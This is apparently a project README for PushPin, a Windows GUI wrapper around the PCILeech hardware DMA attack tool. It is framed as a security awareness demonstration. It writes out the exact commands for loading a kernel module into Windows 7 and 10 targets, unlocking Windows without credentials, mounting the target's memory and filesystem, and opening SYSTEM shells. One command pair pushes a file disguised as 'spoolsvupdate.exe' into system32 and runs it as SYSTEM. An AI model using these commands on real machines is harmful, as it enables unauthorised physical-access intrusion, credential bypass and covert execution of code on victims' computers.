PushPin

Visual interface wrapper to PCILeech.

Summary

PushPin is designed to provide a rapid, easy to use visual interface wrapper to a subset of the PCILeech projects capabilities. It also makes for a nice security awarness demonistration tool.

If you're not sure what PCILeech is please read up on the project first. https://github.com/ufrisk/pcileech

Features

The GUI workflow is similar to the PCILeech CLI, first successfully load a KMD (KMD LOADERS) and then use the KMD address to load Kernel-mode implants (ACCESS). The following PCILeech kmdload, commands and Kernel-mode implants specfic to Windows Operating Systems are included.

• Load a kernel module into Windows 7 or Windows 10 64-bit operating systems
• Unlock Windows
• Mount the targets filesystem and memory
• SYSTEM or USER command shell
• Push and Execute a file on the target as SYSTEM

PushPin GUI overview

KMD Loader Update

Please use WIN10_X64_3 and then WIN10_X64 if it fails. WIN10_X64_3 is currently stable accross versions of Windows 10, including Windows 10 2004 release.

Logging

PushPin provides a minimal level of logging of actions taken while using the GUI. The PushPinLog.txt log file is created or appended when an action is taken.

System Requirements

Tested with PCILeech Version 4.8 and functions correctly with the commands listed above. You can download PCILeech precompiled binarys here.

PushPin is developed in C# targeted for .NET Framework 4.5. Compile or use the precompiled PushPin.exe binary and place it into the the same directory as pcileech.exe. Download the latest PushPin.exe.

At a miminum your directory should contain:

PushPin.exe
pcileech.exe
FTD3XX.dll
leechcore.dll
vmm.dll
wx64_filepush.ksh
wx64_pscmd.ksh
wx64_pscmd_user.ksh
wx64_pscreate.ksh
wx64_pslist.ksh
wx64_unlock.ksh
win7x64.kmd

The following commands must work in the CLI for the GUI to work

Load a kernel module into Windows 7x64 or Windows 10x64:

pcileech kmdload -kmd win7x64
pcileech kmdload -kmd win10_x64
pcileech kmdload -kmd win10_x64_3 -memmap auto 

pcileech kmdload -kmd win10_x64 -memmap auto - integrates with MemProcFS

Unlock Windows:

pcileech wx64_unlock -kmd kmdaddress -0 1

Mount the targets filesystem and memory:

pcileech.exe mount -kmd kmdaddress

Command shell access as SYSTEM or USER:

pcileech wx64_pscmd -kmd kmdaddress
pcileech wx64_pscmd_user -kmd kmdaddress

Push and execute a file on the target:

pcileech wx64_filepush -kmd kmdaddress -in infile.exe -s \??\c:\windows\system32\spoolsvupdate.exe 
pcileech wx64_pscreate -kmd kmdaddress -s c:\windows\system32\spoolsvupdate.exe -0 syspid -4 1

Disclaimer

Use at your own risk. This code is provided for educational purposes ONLY. Developers assume no liability and shall not be held responsible for any damage that may result from use or misuse of the provided code. It's the end users responsibility to obey all applicable local, state, federal and country specfic laws.

Changelog

v1.0

• Initial release.

v1.1

• Updated to reflect WIN10_X64_3 kernel module